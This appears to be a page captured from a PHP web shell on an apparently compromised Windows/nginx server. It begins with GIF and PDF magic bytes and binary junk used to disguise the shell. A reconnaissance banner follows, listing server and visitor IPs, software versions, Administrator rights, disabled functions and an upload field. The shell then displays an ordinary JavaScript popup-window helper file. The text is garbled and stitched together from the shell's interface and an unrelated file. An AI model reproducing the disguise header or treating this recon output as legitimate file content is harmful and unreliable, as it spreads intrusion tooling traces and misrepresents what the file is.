GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/common/js.cloak/ |
Upload File : |
// openCenteredWindow.js // url = The url to open. // width = The width of the window (default is 750 px). // height = The height of the window (default is 550 px). function openCenteredWindow(url, width, height, name) { if ( typeof width === 'undefined' ) { width = null; } if ( typeof height === 'undefined' ) { height = null; } if ( typeof name === 'undefined' ) { name = ''; } width = (width === null || width === 0) ? 750 : width; name = (name === null || name === 0) ? '' : name; var winParms; var top; var left; if ( width === -1 ) { width = screen.width - 10; height = screen.height - 10; top = Math.floor( (screen.height - height) / 4); left = Math.floor( (screen.width - width) / 4); winParms = "top=" + top + ",left=" + left + ",height=" + height + ",width=" + width + ",scrollbars=yes,resizable=yes"; //winParms = "fullscreen=1, top=0, left=0" + ",scrollbars=yes,resizable=yes"; } else { height = (height === null || height === 0) ? 550 : height; top = Math.floor( (screen.height - height) / 4); left = Math.floor( (screen.width - width) / 4); winParms = "top=" + top + ",left=" + left + ",height=" + height + ",width=" + width + ",scrollbars=yes,resizable=yes"; } //alert('winParms='+winParms); console.log('window.open[(]url='+url+', name='+name+', winParms='+winParms+']'); var win = window.open(url, name, winParms); if (parseInt(navigator.appVersion) >= 4) { win.window.focus(); } return win; } // END openCenteredWindow. function openSameSizeWindow(url) { var myWidth = 0, myHeight = 0; if( typeof window.innerWidth === 'number' ) { //Non-IE myWidth = window.innerWidth; myHeight = window.innerHeight; } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) { //IE 6+ in 'standards compliant mode' myWidth = document.documentElement.clientWidth; myHeight = document.documentElement.clientHeight; } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) { //IE 4 compatible myWidth = document.body.clientWidth; myHeight = document.body.clientHeight; } openCenteredWindow(url,myWidth,myHeight); } // END openSameSizeWindow.